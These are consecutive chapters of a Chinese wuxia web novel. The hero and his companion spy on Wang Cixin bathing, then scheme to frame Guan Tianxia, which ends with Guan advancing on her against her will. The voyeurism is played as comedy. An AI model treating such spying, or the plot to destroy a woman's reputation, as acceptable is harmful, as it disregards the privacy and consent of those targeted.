响声如玉石碎裂,穿透静谧的黑夜,惊醒了在城门酣睡的衙差。远处,只见一名衙差豁然起身,长刀“呛啷”一声从腰间拔了出来,远远地射来刺目的银光。 “呛啷,呛啷,呛啷” 紧接着,又有几道银光亮起,几个衙差晃着明晃晃的兵刃,向我们快步逼近。李小谦着急地大声叫骂“他妈的,又让你玩砸了!快跑!” 他调头要跑,我一把拉住了他,淡定地说“你先上去。这几个人交给我。” 说罢,我从袖中掏出九郎剑,拔剑出鞘。刚要上前,但转念一想,这些人不过是普普通通的衙差,解决他们何须我拔剑? 我又将九郎剑塞回剑鞘之中,攥住护手,大喊一声“来呀!”杀入人群。 当一个人面对无知之事时,果然不能太过自信。因为,结果往往会大大出乎我们的意料。 这些衙差绝非平凡之人,他们个个手中长刀耍得刚猛凌厉,劲道十足。而且,这些人身形走位精妙无比,一看便知经过严格训练,比一般的江湖人更胜出许多。才过了两三招,我便已将感觉自己左右吃紧,无奈之下,只得又将剑拔了出来。 那些人见我又拔剑出鞘,脸上竟然有些得意。 我挥动九郎剑,凭借其削铁如泥的锋利,一剑将两柄长刀断成四截。那些人得意的表情骤然消散,各个面色凝重,甚至略带恐惧地盯着我手中银光闪动的短剑。 这时,李小谦高站在城墙之上对我大喊“快上来呀,要不然老子下不去!” 十二招剑法里,有一招横扫大千。 我平端九郎剑,将丹田之中的一股暗存的劲力悄然输送到手心,透过手心传入剑身。九郎剑光彩焕发,绚烂夺目。我原地回旋,一圈轮转之后,死伤一片。 不敢再多迟疑,我转身拉着绳索爬上墙头。与李小谦高高地站在城墙之上,忽然间感觉高处的风景竟远比地面上壮阔得多。 亭台楼宇尽收眼底。 苍茫大地平铺脚下。 那风景让人彭拜,让人心情激荡。 而这样的风景,却只有在身居高处才能真正的看到,感悟到。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十章 偷窥 1 我和李小谦站在城墙之上极目远眺。 远处漆黑一片的树林边缘上,仿佛是有两道红点闪动。那里距离我们已有百丈之远,红点传来,已有些朦胧,有些闪烁。 “是那里吗?”我指着两个红点轻声地问。 李小谦放眼远望,却也拿捏不准,他说“大概是吧,也有可能不是。” 我心里又气又急。气得是自己总是掌握不好力道,不是用力不足,便是用力过猛。急得是这样千载难逢的机遇,错过了,只怕将永远错失这个窥探王慈心秘密的机会。 眼下已顾不得再多犹豫。无论是与不是,都得过去一探究竟。 我将绳索收起,与李小谦一先一后,从城墙外壁顺了下去。落在地上时,百丈之外只见得漆黑一片,那影影绰绰的两道红光已然不知飘到了何方。 我只能凭借着记忆里大致的方向抹黑前进。我心中已急不可耐,但仍旧不敢全然放开步子,只恐怕那红点处真的是王慈心与另一名女子,放开步子大步跑极有可能惊动了她们。我和李小谦踮着脚小跑了不到一刻,便来到了一片密密麻麻的树林边缘。 进入树林,起初还是几排低矮歪斜,形状各异,姿态慵懒的树木。然而,当我们缓步走进林深处时,越是深入,树木越是挺拔,四周也越是静谧。直到后来,眼前所有的树木尽皆是笔直如柱,直插天际。 好在是深入林中有一条曲折蜿蜒的小径,虽然被零星杂草覆盖,但其走向脉络依旧是十分清晰。若不是有这样一条小路指引着,恐怕深入林中,不消片刻便会晕头转向,彻底迷失其中。 “奇了怪了!”李小谦噘着嘴,自顾自地念叨着,“我们追得虽然不快,但也不慢啊,按道理说,怎么也该有个影儿了,怎么连个毛都没有呢?!莫非是追错了方向?” 他这话也正说出了我的担忧。我停下脚步,一阵失落,看来今夜的偶遇不过又是一场空欢喜。正要放弃之时,忽然听到一阵柔和的水声。 “哗啦啦,哗啦啦” 隐约间,仿佛还夹杂了女子的欢声笑语。 “别闹了,夫人,我衣服都湿了。” “嘻嘻,要不然你也下来陪我洗洗吧。” 我顿时转悲为喜,激动地攥住李小谦的双手,说道“你听见了吗?” 李小谦茫然地眨了眨眼睛,左右看了两眼,问“听见了毛了?” 我说“她们就在附近,我听到她们说话的声音了。” 李小谦狐疑地看着我,有意无意地瞥了我耳朵几眼,问“她们说什么?” 我说“有水声。她们好像 在洗澡!” 李小谦顿时神采奕奕,眼中光芒四射,一边四处寻觅,一边兴奋地问“哪呢?在哪呢?” 看着他的样子,我忽然有些后悔告诉他了。 李小谦的耳力依旧是寻常人的耳力,并没有练成如我这样听声辨位的本事。他焦急地四处搜索着,犹如大海捞针。 “到底在哪啊?”李小谦急咧咧地问,“你如果敢骗我,老子就跟你玩命!” 我长叹一口气,指了指那声音传来的方向。 “嘘!”李小谦做了一个噤声的动作,他一只手招在耳朵上,皱眉倾听。忽然,脸上一喜,登时眉飞色舞,手舞足蹈,带着满脸的淫笑,惦着脚尖儿向那水声传来处靠近。 那是一湾柔波涟漪的水潭。透过水潭两岸树冠间的缝隙,圆月在水潭中撒下斑驳的亮影,仿佛是水面上漂浮着几块碎银。王慈心隐在水面之下,只露出头和脖子,虽然不能准确的知道水潭的身前,但从王慈心泰然自若的样子来看,那水潭怕也深不到哪里去。 “夫人,此处又偏又僻,您为何非要深夜里到这地方来洗澡,而且还要三日来一次,这样频繁。在家里洗不是更好吗?”女子的声音中有些埋怨。 “小丫头,你当然不懂。” 说话之人正是王慈心,她声音悦耳动听,并且比我们那日相见时温柔许多倍。她说“家里的水怎能和这自然的水相提并论?水乃万物之源,天地灵气,日月精华,都在这水里面藏着,只有藏匿着丛林中、浸润着大地的水才是真正好的水,洗掉铅华羁绊,褪去烦恼忧愁,才能给人真正放松的感觉。”她说得竟然越来越忧伤了,最后竟然黯然地说了一句“哪怕只有这一时片刻也好。” “夫人啊!”另一名女子叹了口气,说,“大老爷对您千般万般的好,事事都顺着您,一个女人活这辈子能有个男人宠溺着,那是多美好的一件事啊。若有一个男人也能如此这般地待我,我才不会像您这样心事重重的呢?” 王慈心嗔道“小丫头片子,你才多大,就开始想男人了。明日我便在福州城的闹市里随便抓个男人,把你嫁出去,省得整日里妄动春心。” 那女子豁然站起身来,转身背对着王慈心,一幅娇羞模样,有些气急败坏地说“夫人,你再这样取笑我,我便走了!”她转过身后,正好直面着我们隐藏的位置,通过她手上橘红的灯笼,隐约可以看见她那张娇巧玲珑的脸——看上去也就是十五六岁的模样。 王慈心大半个身子浸在水中,只露出一对丰肌秀骨的香肩。她抬手撩起水花,发出“哗啦啦”的柔声。她的笑声好像是穿过丛林的 风吹响了清脆的风铃,尤其是在这幽静的夜里更显得悦耳空灵,与柔和的水声一起,交织成一曲浑然天成的动人之声。 “呃!”突然,一声极不和谐的呻吟,打断了这段动人的曲子。 “怎么了,夫人!”那女子焦急地询问,“是不是那伤口又痛了?” 王慈心肩膀露出水面,一只手捂着,低着头,似乎有些痛苦。 “到底是什么人狗胆包天,竟然敢伤了夫人。您也不肯告诉老爷,就这样平白吃了亏吗?”女子一副打抱不平的口气。 王慈心又咯咯地笑了起来,她说“小丫头,你一会儿要说我身在福中不知福,一会儿又要替我打抱不平我记得有一句话叫皇上不急,怪我一时脑子不灵光了,却忘了下半句是什么。” “夫人!”那女子再次转身背对着王慈心,说,“你再嘲笑我,我可真的要走了。” “好了,杏儿。”王慈心止住笑声,喊道,“你快别在这里了,到那路口帮我看着,别叫人闯了过来。” 那女子说“这深更半夜,又是这么僻静的树林子里,怎么可能有人嘛。” 王慈心并不怎么严厉地训斥道“每次你都这样说。我都嘱咐你多少次了,绝不可掉以轻心,万一被人闯来,岂不是坏了我的清白!快去!” “是!”杏儿极不情愿地回了一句,然后缓步向那蜿蜒的小径处走去。 她正面向我们走来。我和李小谦不敢调头逃跑,只怕会瞬间暴露了行藏,只得趴在地上,借着两边一些低矮的灌木隐藏起来。 杏儿从距离我们身边不足五米的地方走了过去。她一边走,一边嘟囔着“这破地方,白天都不见得有人来,更何况是晚上呢。总叫人去守着,全不顾我会不会觉得害怕,真是气死人了。” 说着说着,她便已经走到了小径旁边,然后一屁股坐在地上,依着一棵粗壮的树干,狠狠地伸了个懒腰,仅一个哈欠的功夫,头一歪,竟已经沉沉睡去了。 “这他妈的叫害怕吗?!”李小谦冲着她吐了一口口水,极力地压着嗓子骂道。 我连忙捂住他的嘴,警惕地看着王慈心,唯恐她察觉到这边一星半点儿的响动。她那一手金钱镖的功夫虽然还伤不到我,但若被她发现了我和李小谦偷看她洗澡,难免会落得个淫徒恶贼的骂名。 虽然,偷看女人洗澡这种事我们也不是第一次干了。但,事关名声,总还要谨慎一些。 “哗啦”一声。 王慈心从水潭里站了起来,裸露着上半身在水中缓缓地走动。 “哎呦喂”李小谦拖着淫邪的长音,低声道,“我的乖乖 老子真想录下来!” “下流!”我鄙视地看着李小谦。 李小谦脸色一沉,冷冷地瞥了我一眼,随即头一转,又是一副淫徒浪子的模样,两眼冒光,口水直流。 2 王慈心洗了半个时辰。 我和李小谦便趴在地上看了半个时辰。直到王慈心缓步走上了俺,双手一抖,撩起树枝上白如雪的亵衣披在身上。我俩才趁着她精神不甚集中的机会,悄悄溜了出去。 风声,如同是周望安的吼叫一般贯入耳畔。 我和李小谦像做了极大的坏事好不容易逃脱了一般,没命地往福州城的方向跑。不一会儿,那片树林已远远甩在我们身后,成为黑夜里漆茫茫的一片。 但我仍然觉得不够,要更远一些,再远一些。 直到我们再也跑不动了,才一屁股蹲坐在潮湿的草地上,背靠着背,大口喘气。李小谦忽然大叫了一声“真带劲儿!” 我呼吸渐渐平和,便问李小谦“有什么主意吗?” 李小谦一抹头发,说“明天,哥要去撩她!” 这都是些什么啊! 我吼道“我是问你,策动管天上的事儿,有主意了吗?” 李小谦转身指着我,用一种十分不屑地语气对我说“别跟我大吼大叫的,别忘了,你是求我帮你的。注意你的态度。” 我攥了攥拳,放低声音,语气尽量平和地说“好。你讲。” 李小谦仍旧是有些不满意地看着我,说“王慈心三天来这里洗一回澡,六天之后,想办法把管天下引到那个水潭边上。然后,再找一些附近的乡亲作个见证,这事就成了。” 王慈心三天去那水潭中洗一次澡 我不解地问“那为何要等到六日之后?” 李小谦眉毛一挑,一脸淫邪地笑着,说“因为老子还想再看一回!” (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十一章 色诱 1 李小谦并未如愿以偿。 因为,情势的变化远超过我两人的想象。许多事情发生的始料未及,在天亮之后,如洪水猛兽一般向我们扑来。 天亮之后,福州城大街小巷贴满了我和李小谦的画像。与其说是我与李小谦的画像,倒不如说是我自己的画像。或许是李小谦早早的爬上了城墙,那些被我打翻在地的衙差并没有看清楚他的长相。 我的画像几乎是惟妙惟肖,入木三分。李小谦的画像则只是个大体的轮廓,五官无一与他相似。 李小谦摸着下巴,审视着画像中的自己,说“我当时也没打马赛克啊,怎么给老子化成这幅模样了。” 我说“你应该感到庆幸,被挂在墙上通缉的感觉,并不是很好。” 旁边走来有一位头发花白的老者,无意间看了我一眼,冲我嘿嘿一笑,随即脸色大变,如陡然间年轻了二十岁一般调头狂奔,一边跑一边叫“来人啊!官府的钦犯在这里啊!” 我心头一紧,转身快步钻进小巷里,找了个隐蔽的角落藏了起来。李小谦气定神闲地颠着步子走过来,笑着对我说“傻了吧!谁叫你当时不把那些衙差都杀了的。” 我说“我不喜欢杀人。” 2 如做贼一般,一路躲躲藏藏的回了小客栈。 小客栈里依旧是冷冷清清,连个客人都没有。我俩一进门,店老板慌忙掩上店门,一脸紧张地说“客官,你怎么还敢回来?” 我问“为何不敢?” 店老板说“通缉的告示已经贴满大街小巷了。说你二人是潜入城中的贼寇,夜闯城门,打伤衙差数名,是谋逆之罪啊!”他从柜台后又掏出两张画像,在我面前摊开,说“客官请看,这是刚刚官府的衙差送来的告示。” 我说“我在街上已经看过了。” 李小谦警惕地看着店老板,说“你不会告发我们吧。” 店老板一摆手,笑道“瞧您说的,我怎么会告发您二位呢。小店生意惨淡,您二位可是本店里百年难得一见的贵客啊。哪有店家出卖贵客的道理啊。”他低头搓手,是不是地抬头看我两眼,一脸不怀好意地笑,似乎是还有什么话没有说完。 李小谦不屑地笑了一声,说“人无所谓出卖,只是出卖的价码还不够高。说吧,你什么条件?” 店老板嘿嘿一笑,说“客官真是明事理的人,自然不会让小店白白承担了如此大的风险。二位的线索在官府那里值三十两银子,在小的这里,十两银子足矣封口。” 我冷眼看着奸诈的店老板,刚刚对他生出的一丝好感顿时 荡然无存。 李小谦冷笑一声,说“想封你的口根本用不了十两银子,一剑抹过去就够了。” 店老板脸色惨白,连退两步,颤声说道“你,你可不要乱来,大街上到处都是搜捕你们的衙差,我只要一喊,他们立刻便会冲进来。” 我掏了十两银子塞到他手里,他接过银子却还有些诧异。我说“不用喊了,我给你便是。” 店老板喜上眉梢,凑到我身边,连连点头道谢。接着,他又是神神秘秘地说“我知道两位客官在打听双刀门的下落,我这里有一点小道消息,正是关于双刀门的。” “什么消息?”我忙问。 店老板小声说道“昨夜间两位客官走后,小店忽然来了五个带着兵刃的汉子。他们本来打算在小店过夜,点了几样小菜,吃了一半却又急匆匆的走了。” “这算什么消息?!”我以为店老板故意戏弄我,正要上前揍他,却听店老板说“他们吃饭间一直在谈论什么门主、起大事之类的话,说话间听到门外一声哨箭在空中炸响,才陡然起身离去,他们所去的方向正是双刀门!” 店老板凑近我跟前,声音又低了几分,说“我在门口偷偷张望,哨箭炸响之后,街面上出现的可不止是那五个汉子。仅这一条街上,影影绰绰莫约有二三十人之多。” 难道管天下要动手了?! 我精神骤然紧张起来,看着李小谦却是一副事不关己的模样。我心里一阵着急,说道“不能再等了,我们要快些动手了!” 李小谦说“你现在可是通缉要犯,连门都出不去,你能做什么?” 我更加急躁,几乎是吼了出来“难道就要坐以待毙不成?” 李小谦挤了个白眼,说“毙的又不是你,你着什么急?” 可是……我要保住这江湖! 若管天下真的起兵了,那么这个造反的帽子恐怕不止会扣在双刀门的头上,更会是整个江湖。 李小谦忽然说“你想出去也不是不可能,只怕你要做出点牺牲。” 我问“什么牺牲?” 李小谦神秘一笑,说“易容改貌!” 3 经过李小谦的一番装扮涂抹,我看着铜镜中的自己既觉得好笑,又觉得好气。 店老板一脸坏笑地从旁边拍手叫好,说“好俊俏的女子,这样恐怕是神仙也认不出你本来的样貌了!” 我气愤地质问李小谦“你说的易容改貌便是将我打扮成一个女人?!” 李小谦看着我,仿佛是在书画大师在欣赏着自己的杰作一般,骄傲地说“老子这独门绝技易容术,当 年作直播扮演小姐姐,那可是日赚斗金啊!” 我看着铜镜里的自己,浓妆艳抹,俨然就是一个妖媚的女人。我几乎就要怀疑铜镜里的人是我失散多年的孪生姐姐。 为了拯救江湖,牺牲便牺牲了! 我一拍大腿,昂然站起,说了一句“行动!” 李小谦忽然大喊“不对,不对!” 我迷惑道“哪里不对?” 李小谦翘起兰花指,做了一个骚里骚气的动作,捏着嗓子尖声道“你得学着娘们儿说话!” 我不禁头皮一阵发麻,浑身鸡皮疙瘩肆虐而起。 4 李小谦说,我要时刻把自己当做是这个江湖中最优秀的女子,只有这样才能把人物扮演得惟妙惟肖。 我强调,我只是想要躲开衙差的追捕,并不是真的要扮演一个女人。 李小谦却说“你不能白做一回女人。要想实施我们的计划,第一步便是要在引管天下三日后晚上到那水潭边上去。” 我问“怎么引?” 李小谦说“色诱管天下?” 我问“谁色诱管天下?” 李小谦坏笑地盯着我说“你!” 我?! 我内心抗拒,断然拒绝“我不要!” 李小谦摇头叹息“那便算了,就让管天下起兵造反好了。那时候,柳无风大军压境,扫平双刀门,顺便再灭了各大门派。你这个武林盟主啊……” “别说了!”我咬着牙,挣扎犹豫了片刻,心一横,说,“我去!” 5 醉仙楼。 这是福州城里最大、最奢华的馆子。每日辰时,醉仙楼里宦养的歌女便会在楼中弹琴唱曲。引得满福州城里心绪躁动的富家公子前来寻乐。 说是寻乐。无非也就是饱个眼福耳福,家世煊赫,性情再放荡一些的,最多扯着嗓子喊两句调侃的污言秽语,过个嘴瘾,仅此而已。 一场斩妖行动,留个福州城几年的清心孤欲。 只要没有什么要紧的事,每日辰时,管天下会准时出现在醉仙楼中。他往往是一人,独自坐在二楼的一处雅间,隔窗眺望,悠然地听着小曲,碰到一两个自己喜欢的女子,也会豪爽地丢下几枚赏钱。 李小谦一个早已经写好的字条塞到我手里,那上面记载着王慈心常去洗澡的那个水潭的地址。另外还有一句话“三日之后,日暮之时,与君嘉会,不见不散。” 李小谦说“去吧!按我教你的,来段完美的邂逅!” 虽然很难为情,但想到江湖,我还是狠心迈出了脚步,向早已坐在二楼的管天下走去。 按照 李小谦的设想,我要假装是找错了房间,闯进管天下的雅间,然后歉意地离开。出门时假装慌乱地绊倒,引管天下前来扶我,在他将我扶起来以后,我要装作是头晕眼花撞在他怀里,然后留下一个娇媚的眼神,羞涩的跑来。 这画面想着我都恶心。 当我色诱管天下成功以后,我便可以将那张早已准备好的字条交给店小二,托他转交给管天下。如此便可大功告成。 这个过程我在自己心里演绎了许多遍,虽然内心抗拒,难以接受,但还是强忍着一步步靠近管天下。 走进管天下的房间时,他正将一盏茶水连着茶叶一同倒进嘴里。他见我进来,先是一愣,而后快速咀嚼了两下,强行将茶叶咽了下去。 “姑娘你找谁?”管天下客气地问。 假装找错房间,歉意地离开! 我提醒着自己,向管天下点了点头,转身离开。我心里异常紧张,大踏步走出房门才发现自己忘了假装摔倒。 我硬着头皮走了回去,在门口假装是摔倒地坐在了地上。管天下目光充满了疑惑,他缓步走到我跟前,并没有扶我,而且蹲了下来,盯着我,问“姑娘,你为何要坐在我门口?” 我也不敢开口说话,怕一紧张露出马脚。但管天下却又不按照李小谦所预想的那样将我扶起来。眼看着这出戏越玩越走样,我索性一把将纸条塞进他手里,然后站起身来,逃也似的离开了…… (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十二章 布局 1 醉仙楼外。 李小谦责怪我未按照事先约定行事。 我说“我实在不懂得色诱。我也从没有色诱过男人。” 李小谦说“不错,你只色诱过女人。成功色诱了一个如花似玉的小月。” 说到小月,我不禁心绪起伏。那日鄱阳湖畔,她匆匆离去,如今已有月余,不知她此时身在何处,境况如何。 等了却了管天下的事,我最先要做的便是去找小月。 我说“接下来要怎么做?” 李小谦仍旧是一副不满意的模样,他说“你这样就匆匆把纸条给了管天下,他会不会如约去那水潭边还不一定呢,下一步还有必要吗?” 无论如何,都要一试才好。我说“有必要。” 李小谦沉吟片刻,继续说道“接下来便是要去找见证人了。” 我问“去哪里找见证人?”谁又敢去见证管天下与王慈心的奸情?在这福州城里,谁会敢去得罪一个几乎可以翻云覆雨的双刀门? 李小谦说“接下来,便是老子粉末登场的时候。让你看看,老子的戏是怎么演的。” 2 两天过去了。 这两日里,李小谦在小客栈里除了吃便是睡,任凭我如何催促他,他只是一副漫不经心地样子对我说“不着急,不着急。”仿佛是从未把那件事放在心上一般。 第三日午后。还有不到四个时辰王慈心便会去那水潭边洗澡。也还有不到三个时辰,管天下便可能会如约出现在那个水潭边上。 已是坐立难安的我急得如油锅上的蚂蚁,实在忍无可忍,攥着拳去找李小谦。他若再不肯行动,我便要狠狠地揍他一顿。 当我推开他半掩的房门时,却见屋里正站着一个全身绫罗锦缎的富商,他冲我嘿嘿一笑,两撇风趣的胡子在嘴唇上调皮地舞动。 我以为自己走错了房间,推出房门一看,这的确是李小谦的房间没错。我疑惑地问“你是何人?李小谦在哪里?” 那富商眉飞色舞,满脸喜悦,大叫一声“你大爷在此。” 分明就是李小谦的声音。我惊诧地看着他,仔细辨认一番才发现,这富商正是李小谦乔装打扮的。 我不解地问“你为何装扮成这样?” 李小谦摆弄着自己的衣服,说“这是道具!能不能把见证人引过去,就靠这身行头了。” 3 那片树林向北里便是一个孤零零的村落。 村子门口竖着一块高丈余的石碑。不知村子里的人是从哪里请来的破落书生,歪歪扭扭地写了“柳家庄”三个大字,镌刻在石碑 上更显得丑陋,比起我的字都不如。 李小谦信步走进村子,一边走,一边对我说“你只装哑巴,一句话也不许说。” 我刚点了点头,只听李小谦“哎呦”一声凄惨地尖叫,趴在地上呜哇呜哇地大哭起来。他声音奇大,不消片刻便引得十数名村民从各自家门中探出头来张望。 李小谦斜眼看着,见有人出来,哭声更加响亮,一边哭一边大叫“要了亲命了,没法活了!五百两银子就这么掉了,以后可要怎么活啊!” 我还未反应过来发生了什么,却已有村民疾步跑了过来。 那是一个身材消瘦,尖嘴猴腮的中年男子,穿着浅灰色的粗布衣裳,质朴农人的打扮,眼神中却充斥着贪婪。他凑到李小谦跟前,关切地询问“这位老爷,您这是怎么了?” 李小谦止住哭声,看了那人一眼,又开始嚎啕大哭。他一边嚎着,一边趁着换气的功夫抽抽搭搭地说“我自打赣州逃难至此,途径西边的林子,睡了一觉却把随身的包裹给丢了。那可是老夫全部的家当啊!要了命了,没法活了哇哇” 那男子试探地问“包裹里有银子?” 李小谦啜泣着点头,随即警惕地看了那男子一眼,说“你问这些做什么?” 那男子立刻呵呵笑了起来,说“没什么,只是见你哭得伤心,随口打听一下。”说罢,他转身要走。 李小谦突然站了起来,抱着那男子大叫“你不能走!你不能走!老夫那包袱里可是老夫全部的家当了,你若是寻到,你可得还给你老夫!” 我看那男子浑身上下虽不能说是皮包骨头,却也是瘦骨嶙嶙的身躯。他被李小谦抱住,登时一脸愤怒。不知是李小谦有意为之,还是那男子的力气真的很大,他一拳打出去,李小谦竟倒栽在地上,一连翻了好几个跟头。 李小谦坐在地上,破口大骂“你,你这个强盗啊!我,我要报官抓你!” 那男子不屑地笑了一声,说“报官?!呸!你一个外乡人来到我这地界上也不打听打听我柳大壮的名号!老子进福州府衙的大牢没有十回也有八回了,那次不是怎么进去再怎么出来?!今日你撞见老子,算是你倒霉,我可不管你那包裹里是什么金银珠宝还是什么破铜烂铁,只要让老子寻到了,那就是老子的。到时候赏你两块银子回家,算是对你的恩德。” 柳大壮一副山贼土匪的嘴脸,嘿嘿笑着向各家门口招了招手,立时跑来十几名高矮胖瘦,形态不一的汉子。他将一群人拢在一起,小声说了几句,转过头又对李小谦一通威胁,说“老子回来之 前,你就在这里老老实实呆着,要是敢跑,老子打断你的狗腿!” 李小谦装出又怕又委屈的模样,抿着嘴一句话也不说。柳大壮哈哈笑着,带着众人向树林子的方向走去。路过我身旁时,他似乎是无意识间瞥了我一眼,登时两眼射出色眯眯的光芒,如同是饥渴的食客见到了丰盛的美餐一般,戏谑地笑着说“这小娘们儿长得不赖啊!看好了,等我回来慢慢享用。” “是!”身后的两个壮汉应了一声。 他娘的,真当老子是女人了。 一股怒过勃然而起,我攥着拳头正要喝住柳大壮,不成想李小谦从地面上忽然跳了起来,一把捂住我嘴巴,大叫道“闺女啊,已经上了贼船了,就不要再挣扎了,性命要紧啊!” 柳大壮回头瞄了我一眼,挤出一个不怀好意的微笑,带着十几名壮汉,大跨步地向树林中走去。 我二人便被两名壮汉推搡着进了一间破旧的小院。此时,太阳已沉下地面,西边是一片泛着金光的晚霞。 刚一进院子,李小谦便对我说“干倒这两个人,你应该没问题吧。” 我回头看了一眼那两个满脸茫然的汉子,说“没问题。” 两个汉子听到我的声音,脸色骤变,仿佛是见到鬼一般又惊又恐。还未等他二人作出什么反应,我已健步冲了上去,对着那二人的后颈部,一人一记猛击。 “咣”的一声,两个大汉扑倒在地上,连一声呻吟都没有便晕倒了过去。 我问李小谦“他们去那树林中寻找,会不会撞上管天下?” 李小谦摆了摆手,说“不会!这伙儿毛贼从东向西,管天下从北向南,他们从不同的方向进入树林。那么大的林子,等到碰面的时候,恐怕该发生的都已经发生了。” 我又问“你怎么知道他们是一群毛贼?” 李小谦说“客栈里向店老板打听的。我问他知不知道附近有什么强盗土匪,他第一个便向我介绍了这个柳家庄,据说这些人祖上便是贼寇,迫于朝廷的围剿才建了这么个村子。虽然说是贼寇从良,但骨子里贼性难改,狂野得很!” 我不禁为李小谦精妙地筹谋拍手叫绝。 李小谦冷冷一笑,说“如今万事俱备,只欠东风。只要王慈心如期而至,那管天下便是百口莫辩!” 我说“如果王慈心去了,那么管天下不去呢?” 李小谦沉吟片刻,说“他一定会去!” 我问“为什么?” 李小谦笃定地说“一个每天都要去醉仙楼听女子唱曲的男人,心里肯定是空虚寂寞。有你这样的美人主动相约,他又自 恃武功高强,在这福州城无人敢惹,所以他一定会去!” 4 正如李小谦猜测的那样。 夜幕彻底笼下之时,整片树林都陷入了一片黑暗。 黑暗的边缘,一道悠悠的灯火在空中摇晃着,缓缓向着林中靠近。他走到树林边缘之时,忽然停了下来,似乎是有些犹豫。 但片刻之后,他还是重新迈开步子,一步一步地走进了树林。 此时来的正是管天下本人。 李小谦从另一个方向跑来,喘息着,说“那伙子毛贼在树林另一边找呢,离这里还很远。如果不出意外,王慈心还有半个时辰就要到了,咱俩分头行动。我去引那伙毛贼,你去引管天下。切记,绝对不可以让他抓住你,听明白了吗?” 我重重地点头。心中不由得开始期待这场筹谋已久的好戏快些上演。 虽然,这是一场见不得人的奸计。 虽然,这是一种可耻的小人行径。 然而,我仍旧是不能自持地期待着那是一种亲自筹谋、俯瞰一切的快感,一个人就这样看着事情的如自己所设计的那样一件件发生,最后出现如自己所预料的那种结果。 那种美妙的快感,当真是妙不可言。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十三章 水龙 或许是天意使然。 当王慈心褪去衣裳步入那片水潭的时候,管天下在树林中左行右绕,恰好也走到了那水潭的边缘。 碧水潭中,月影晃动。一片欢愉的水花,卷起从旁路过之人无限的遐思。 王慈心欢愉的笑声如同传林的风一般,穿过重重树木,传到我的耳中,也传到了管天下的耳中。 他满脸疑惑地沿着水潭边缘向王慈心缓缓靠近。 这时,王慈心半裸着上身正在水潭中走动,她青葱玉指撩起清澈的潭水浇在她白皙的肩膀上,整个人美艳得如出水的芙蓉一般,又宛如是天上的仙子在仙池中徜徉。 管天下看傻了。他便那样怔怔地站在几米之外,一动不动,两只眼睛直勾勾地盯着王慈心赤裸的背。 王慈心全神贯注地戏着水,全然没有发觉管天下正在以一种不易察觉地速度向着王慈心缓缓靠近。 管天下为什么没有躲开?莫非他没有认出那水中嬉戏的女人是他嫡亲的嫂子吗? 我隐藏在一株低矮的灌木丛下看着,心里一片茫然。 “什么人?!” 王慈心终究还是察觉到了有人的存在,她双手遮住胸口,“哗啦”一声隐入水下,只露出半个脑袋。她转过头与管天下对脸时,管天下却没有丝毫要逃走的意思。 “是你!”王慈心惊讶地叫道,“你怎么会在这里?你来这里做什么?” 看着不似是惊吓住了,却不知管天下为何愣愣地站在那里,两眼直勾勾地盯着王慈心。他表情中有些犹豫,有些挣扎,他说:“我,我只是恰巧经过……然后……然后…….” 斑驳的月光照着他凸起的喉结,我看到管天下狠狠地吞了一口口水。王慈心惊慌失措的脸上已有了一丝愠色,她冷声呵斥:“你快走!快点离开这里!” 管天下依旧没有动。他的手缓缓扶到腰间,有些颤抖着扯了扯腰间的束带。一缕棕色的绢布陡然从他腰间垂落,轻飘飘地落地。 他顺势除去长衫,王慈心惊恐地尖叫。那叫声音如玉石划过瓷片一般刺耳。管天下的脸上竟然露出一丝兴奋之色,他什么话也没有说,只是一步一步地向着潭水靠近。他喉头滑动,却又是口水被他吞咽下去。 “你要干什么?!”王慈心向水潭中央退去,她一只手撩起水泼向管天下,冲着他咆哮,“滚!快滚开!” 潭水已没过管天下的膝盖,他仍在向着王慈心一步一步地逼近,全然不顾王慈心的惊慌与叫骂。王慈心一掌推出一条水柱,如同跃起一条水龙一般打向了管天下。 管天下单手一挥,水龙顷刻间化成一片,如雨落般滴入水潭,泛起无数涟漪。浅黄的亵衣被水打湿,仅仅地贴在管天上的身上。 王慈心的双眼中闪过一丝绝望。那一丝幽怨的绝望,如同细针一般戳.入我的心口。 “住手!”我攥着拳头,心里对管天下已恨到了极点,但仍然没敢大声喊出来,只是在牙缝间挤出了一个仅有自己能听得到的声音,聊以自.慰。 “都快来啊!这里有个小娘子在洗澡!” 忽然,水潭的另一边传来一个男子戏谑的叫喊声。我循声远望,只看到一个消瘦的人影在水潭边冲着树林中招手。 “啊!” 王慈心放声尖叫。她赤裸的身子隐藏在水中,头在水面上,一面是步步紧逼的管天下,另一面是不明身份却在高声戏谑的男子,听他的叫喊声,仿佛是树林子中还有许多人正向着水潭赶来。 看着王慈心无助的样子,我心里一阵愧疚。为了达到我自己的目的,这样毁掉一个女人的清白,真的可以吗? 若是小月知道我做了这样的事,她会不会怪我? 已来不及我多想。许多人已赶到了水潭的边缘,他们看到了水潭中王慈心,同时也看到了在身穿亵衣、浑身湿漉漉的管天下正与赤裸的王慈心置身于同一水潭中,相隔不过几米的距离。 江湖武林十大门派之一的双刀门。 名满福州的双刀门门主管天下。 谁人不知,谁人不晓? 美艳娇娘嫁给了双刀门又老又丑的管天上,却也曾是福州城里家喻户晓的一段饭后谈资。王慈心的名声在这个说大不大、说小不小的福州城里,只怕并不比管天下差上许多。 “这不是双刀门管门主和双刀门姓王的婆娘吗?” “那婆娘不是管天下的嫂子吗?” “他们在这里做什么?” “这么明显了,还能是做什么,总不会是半夜里来摸鱼的吧!” “闭上你们的狗嘴!都不要命了!”那个身材精瘦的男子正是柳家庄的柳大壮,他低声喝止了身边人的议论,冲着水中面无表情的管天下一阵点头哈腰,说,“我们路过,什么也没看见,什么也没看见。” 柳大壮一步步向后退着。他身旁的十几个汉子随他一同后退,退了莫约七八步,人已远离水潭边缘,渐渐没入漆黑的树林。 “跑啊!”柳大壮大喊一声,树林边哗啦乱响,树影乱晃。 管天下双手向下一拍,再抬起时,确是两条水龙从水中跃起。他双手一推,水龙飞腾着追入树林中,带着野兽地咆哮,震彻林岳。 他竟然能将内力凝聚,化无形之物为有形。这样的武功,我闻所未闻。也是在这时,我才深刻地体会到,这个武林中的许多人都在刻意地隐藏着实力,或许只是在不经意间突然使出,打得别人措手不及。 也正是在这突然使出的一刻,许多人却也已丧生在那一招之间。12 “啊,啊......”树林中接连传出惨叫。 若那些人被管天下杀死了,那不禁又是枉死了许多性命,而且我们的计划也将全盘落空。 “铮!” 